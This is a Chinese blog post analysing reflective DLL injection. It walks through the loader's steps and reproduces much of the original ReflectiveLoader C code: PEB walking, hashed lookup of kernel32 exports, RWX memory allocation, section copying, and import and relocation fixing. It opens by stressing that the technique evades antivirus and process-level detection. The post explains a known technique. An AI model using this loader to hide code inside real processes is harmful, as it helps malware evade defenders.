刘收获

导航

< 2025年1月 >
29 30 31 1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31 1
2 3 4 5 6 7 8

统计

反射Dll注入分析

(源码作者:(HarmanySecurity)Stephen Fewer)

0x01  反射Dll注入的优点

    1.反射Dll注入的主要优点是它没有以主机系统的任何方式(例如LoadLibrary和LoadLibraryEx)进行注册,因此在系统和进程级别上基本上都是不可检测的,并且反射DLL注入写入了较少的的shellcode,进一步降低被检测到的可能性。

    1.在远程开发中使用反射DLL注入时,注入到宿主进程的Dll难以被反病毒的文件扫描器检测到,因为它从不会接触到磁盘,直接从内存中写入加载到宿主进程。

 

0x02  注入过程(原理)

    反射Dll注入的过程分两大步,首先反射Dll注入将Dll从内存加载到宿主进程中。然后Dll将通过实现一个自实现的文件加载器程序来加载它自己(例如解析其导入表以及移到内存中的适当位置的重定位表修正),以满足dll的运行期望。然后,它就可以在宿主进程中,嗯,“参与”到宿主进程的“活动”中。

 

    流程:

    1.先将Dll映像文件(原始PE文件)写入到宿主进程空间当中

    2.reflectiveloader将首先计算imagede 的当前位置,以便后续加载自己。

    3.在宿主进程中查询Kernel32动态库,计算出三个函数的地址:即LoadLibraryA,GetProcAddress,VirtualAlloc。

    4.reflectiveloader继续分配的内存中的连续区域,用于加载Dll.

    5.reflectiveloader将Dll的 headers 和 sections 复制到宿主进程中的新分配的内存区域。

    6.reflectiveloader修正Dll中的导入表

    7.reflectiveloader修正Dll中的重定位表

    8.reflectiveloader加载工作完成后调用DLL入口点

 

0x03  加载Dll文件的reflectiveloader的关键流程具体实现

     (1)查询Kernel32动态库,计算出三个函数的地址:即LoadLibraryA,GetProcAddress,VirtualAlloc:

     首先要获取PEB:

1
2
3
4
5
6
7
8
#ifdef _WIN64
    Peb = (PPEB)__readgsqword(0x60);
#else
#ifdef _WIN32
    Peb = (PPEB)__readfsdword(0x30);
#else
#endif
#endif

  再通过PEB得到Kernel32动态库的地址,先看PEB的结构:

    看到0x18偏移处的成员PEB_LDR_DATA:

    其中的三个LIST_ENTRY链表,按照不同的顺序将当前进程加载的所有模块链接起来,遍历其中的任意一个LIST_ENTRY,都可以获得所有模块的基地址。

    再看这个LDR_DATA_TABLE_ENTRY的结构:
    

    通过PEB_LDR_DATA的和LDR_DATA_TABLE_ENTRY共有的三根链表,我们也能通过LDR_DATA_TABLE_ENTRY结构中的FULLDLLNAME成员得到模块名,用来确定kernel32模块,进一步得到模块基地址DllBase.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#define KERNEL32DLL_HASH                0x6A4ABC5B
 
Ldr = (ULONG_PTR)Peb->Ldr;
 
    LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)((PPEB_LDR_DATA)Ldr)->InMemoryOrderModuleList.Flink;
    while (LdrDataTableEntry)
    {
     
        ModuleName = (ULONG_PTR)LdrDataTableEntry->FullDllName.Buffer;   //双字
 
        ModuleNameLength = LdrDataTableEntry->FullDllName.Length;
 
        ModuleHashValue = 0;
        do
        {
            ModuleHashValue = ror((DWORD)ModuleHashValue); 
         
            if (*((BYTE *)ModuleName) >= 'a')   //转换为大写
                ModuleHashValue += *((BYTE *)ModuleName) - 0x20;
            else
                ModuleHashValue += *((BYTE *)ModuleName);
            ModuleName++;
        } while (--ModuleNameLength);
 
        //在目标进程中查询Kernel32动态库
        if ((DWORD)ModuleHashValue == KERNEL32DLL_HASH)
        {
            //获得Kerner32.dll的模块地址
            ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0];  //DllBase

  得到kernel32的基地址后,再步步为营,得到NT头,数据目录表,导出表,从而在导出表中查找三个函数LoadLibraryA,GetProcAddress,VirtualAlloc的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
if ((DWORD)ModuleHashValue == KERNEL32DLL_HASH)
        {
            //获得Kerner32.dll的模块地址
            ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0];  //DllBase
 
 
            ImageNtHeaders = (ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew);
 
 
            //有两个成员的结构体目录
            ImageDataDirectory = (UINT_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
 
 
            //导出表地址
            ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
 
     
 
            AddressOfNames = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNames);
 
 
            AddressOfNameOrdinals = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNameOrdinals);
            NumberOfNames = ((PIMAGE_EXPORT_DIRECTORY )ImageExportDirectory)->NumberOfNames;
            IsLoop = 4;
 
            // loop while we still have imports to find
            while (IsLoop > 0&&NumberOfNames>0)
            {
                // compute the hash values for this function name
                HashValue = MakeHashValue((char *)(ModuleBase + DEREFERENCE_32(AddressOfNames)));
 
                // if we have found a function we want we get its virtual address
                if (HashValue == LOADLIBRARYA_HASH ||
                    HashValue == GETPROCADDRESS_HASH ||
                    HashValue == VIRTUALALLOC_HASH ||
                    HashValue == EXITTHREAD_HSAH)
                {
                    // get the VA for the array of addresses
                    AddressOfFunctions = (ModuleBase +
                        ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);
 
                    // use this functions name ordinal as an index into the array of name pointers
                    AddressOfFunctions += (DEREFERENCE_16(AddressOfNameOrdinals) * sizeof(DWORD));
 
                    // store this functions VA
                    if (HashValue == LOADLIBRARYA_HASH)
                        LoadLibraryA = (REFLECTIVELOADER::LPFN_LOADLIBRARYA)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
                    else if (HashValue == GETPROCADDRESS_HASH)
                        GetProcAddress = (REFLECTIVELOADER::LPFN_GETPROCADDRESS)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
                    else if (HashValue == VIRTUALALLOC_HASH)
                        VirtualAlloc = (REFLECTIVELOADER::LPFN_VIRTUALALLOC)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
                    else if (HashValue == EXITTHREAD_HSAH)
                        ExitThread = (REFLECTIVELOADER::LPFN_EXITTHREAD)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
 
                    // decrement our counter
                    IsLoop--;
                }
 
                // get the next exported function name
                AddressOfNames += sizeof(DWORD);
 
                // get the next exported function name ordinal
                AddressOfNameOrdinals += sizeof(WORD);
 
                NumberOfNames--;
            }

  

 

    (2)继续分配的内存中的连续区域,用于加载Dll,将Dll的 headers 和 sections 复制到宿主进程中的新分配的内存区域,内存粒度对齐各个节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// STEP 2: load our image into a new permanent location in memory...
 
// get the VA of the NT Header for the PE to be loaded
ImageNtHeaders = (RemoteBufferData + ((PIMAGE_DOS_HEADER)RemoteBufferData)->e_lfanew);
 
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will 
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
VirtualAddress = (ULONG_PTR)VirtualAlloc(NULL,
    ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT,
    PAGE_EXECUTE_READWRITE);
 
// we must now copy over the headers
SizeOfHeaders = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfHeaders;
 
 
v1 = (BYTE*)RemoteBufferData;
v2 = (BYTE*)VirtualAddress;
while (SizeOfHeaders--)
    *(BYTE *)v2++ = *(BYTE *)v1++;

  

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// uiValueA = the VA of the first section
ULONG_PTR ImageSectionHeader = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader +
    ((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.SizeOfOptionalHeader);
 
// itterate through all sections, loading them into memory.
NumberOfSections = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.NumberOfSections;
while (NumberOfSections--)
{
    // uiValueB is the VA for this section
    SectionVirtualAddress = (VirtualAddress + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->VirtualAddress);
     
 
 
    // uiValueC if the VA for this sections data
    SectionPointerToRawData = (RemoteBufferData + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->PointerToRawData);
 
    // copy the section over
    SizeOfRawData = ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->SizeOfRawData;
 
    while (SizeOfRawData--)
        *(BYTE *)SectionVirtualAddress++ = *(BYTE *)SectionPointerToRawData++;
 
    // get the VA of the next section
    ImageSectionHeader += sizeof(IMAGE_SECTION_HEADER);
}

  

    (3)修正Dll中的导入表

            修改DLL的导入表,使这些被引入的函数能正常运行。

           PE文件的引入表是一个元素为IMAGE_IMPORT_DESCRIPTOR的数组。每一个被依赖的DLL都对应着数组中的一个元素。

           (导入表的解析请见:http://www.cnblogs.com/lsh123/p/7754347.html)

      

           

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
 
    // we assume their is an import table to process
    // uiValueC is the first entry in the import table
    ImageImportDescriptor = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
 
 
    while (((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name)
    {
        // use LoadLibraryA to load the imported module into memory
        ModuleBase = (ULONG_PTR)LoadLibraryA(
            (LPCSTR)(VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name));
 
        // uiValueD = VA of the OriginalFirstThunk
        OriginalFirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->OriginalFirstThunk);
 
        // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
        FirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->FirstThunk);
 
        // itterate through all imported functions, importing by ordinal if no name present
        while (DEREFERENCE(FirstThunk))
        {
            // 索引导入
            if (OriginalFirstThunk && ((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
            {
                // get the VA of the modules NT Header
                ImageNtHeaders = ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew;
                 
                 
                ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
                 
                // get the VA of the export directory
                ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
                // get the VA for the array of addresses
                AddressOfFunctions = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);
 
                // use the import ordinal (- export ordinal base) as an index into the array of addresses
                AddressOfFunctions +=
                    ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal) -
                    ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->Base) * sizeof(DWORD));
 
                // patch in the address for this imported function
                DEREFERENCE(FirstThunk) = (ModuleBase + DEREFERENCE_32(AddressOfFunctions));
            }
            else
            {
                //修正名称导入的函数地址
 
                // get the VA of this functions import by name struct
                ImageImportByName = (VirtualAddress + DEREFERENCE(OriginalFirstThunk));
                // use GetProcAddress and patch in the address for this imported function
                DEREFERENCE(FirstThunk) = (ULONG_PTR)GetProcAddress((HMODULE)ModuleBase,
                    (LPCSTR)((PIMAGE_IMPORT_BY_NAME)ImageImportByName)->Name);
            }
            // get the next imported function
            FirstThunk += sizeof(ULONG_PTR);
            if (OriginalFirstThunk)
                OriginalFirstThunk += sizeof(ULONG_PTR);
        }
        // get the next import
        ImageImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);
    }

  

 

    (4)修正重定位表

       数据目录表DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]指向的是重定位表(重定位表的解析请见:http://www.cnblogs.com/lsh123/p/7755187.html)

            

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
ImageNtHeaders = VirtualAddress + ((PIMAGE_DOS_HEADER)VirtualAddress)->e_lfanew;
    Diff = VirtualAddress - ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.ImageBase;
 
 
    //代表重定向表的目录
    ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
 
    // check if their are any relocations present
    if (((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->Size)
    {
        //定位到重定向表
        ImageBaseRelocation = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
 
        // and we itterate through all entries...
        while (((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock)
        {
            //重定向表中的word表
            v3 = (VirtualAddress + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->VirtualAddress);
 
            // uiValueB = number of entries in this relocation block
            ImageBaseRelocationItemCount =
                (((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))
                / sizeof(IMAGE_BASE_RELOCATION_ITEM);
 
            // uiValueD is now the first entry in the current relocation block
            ImageBaseRelocationItem = ImageBaseRelocation + sizeof(IMAGE_BASE_RELOCATION);
 
            // we itterate through all the entries in the current block...
            while (ImageBaseRelocationItemCount--)
            {
                // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
                // we dont use a switch statement to avoid the compiler building a jump table
                // which would not be very position independent!
                if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_DIR64)
                    *(ULONG_PTR *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset)
                    += Diff;
                 
                else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGHLOW)
                    *(DWORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset)
                    += (DWORD)Diff;
 
                else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGH)
                    *(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) +=
                    HIWORD(Diff);
             
                else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_LOW)
                    *(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += LOWORD(Diff);
 
                // get the next entry in the current relocation block
                ImageBaseRelocationItem += sizeof(IMAGE_BASE_RELOCATION_ITEM);
            }
 
            // get the next entry in the relocation directory
            ImageBaseRelocation = ImageBaseRelocation + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock;
        }
    }

  

posted on   沉疴  阅读(1268)  评论(0编辑  收藏  举报

编辑推荐:
· 如何打造一个高并发系统?
· .NET Core GC压缩(compact_phase)底层原理浅谈
· 现代计算机视觉入门之:什么是图片特征编码
· .NET 9 new features-C#13新的锁类型和语义
· Linux系统下SQL Server数据库镜像配置全流程详解
阅读排行:
· Sdcb Chats 技术博客:数据库 ID 选型的曲折之路 - 从 Guid 到自增 ID,再到
· Winform-耗时操作导致界面渲染滞后
· Phi小模型开发教程:C#使用本地模型Phi视觉模型分析图像,实现图片分类、搜索等功能
· 语音处理 开源项目 EchoSharp
· drools 规则引擎和 solon-flow 哪个好?solon-flow 简明教程
点击右上角即可分享
微信分享提示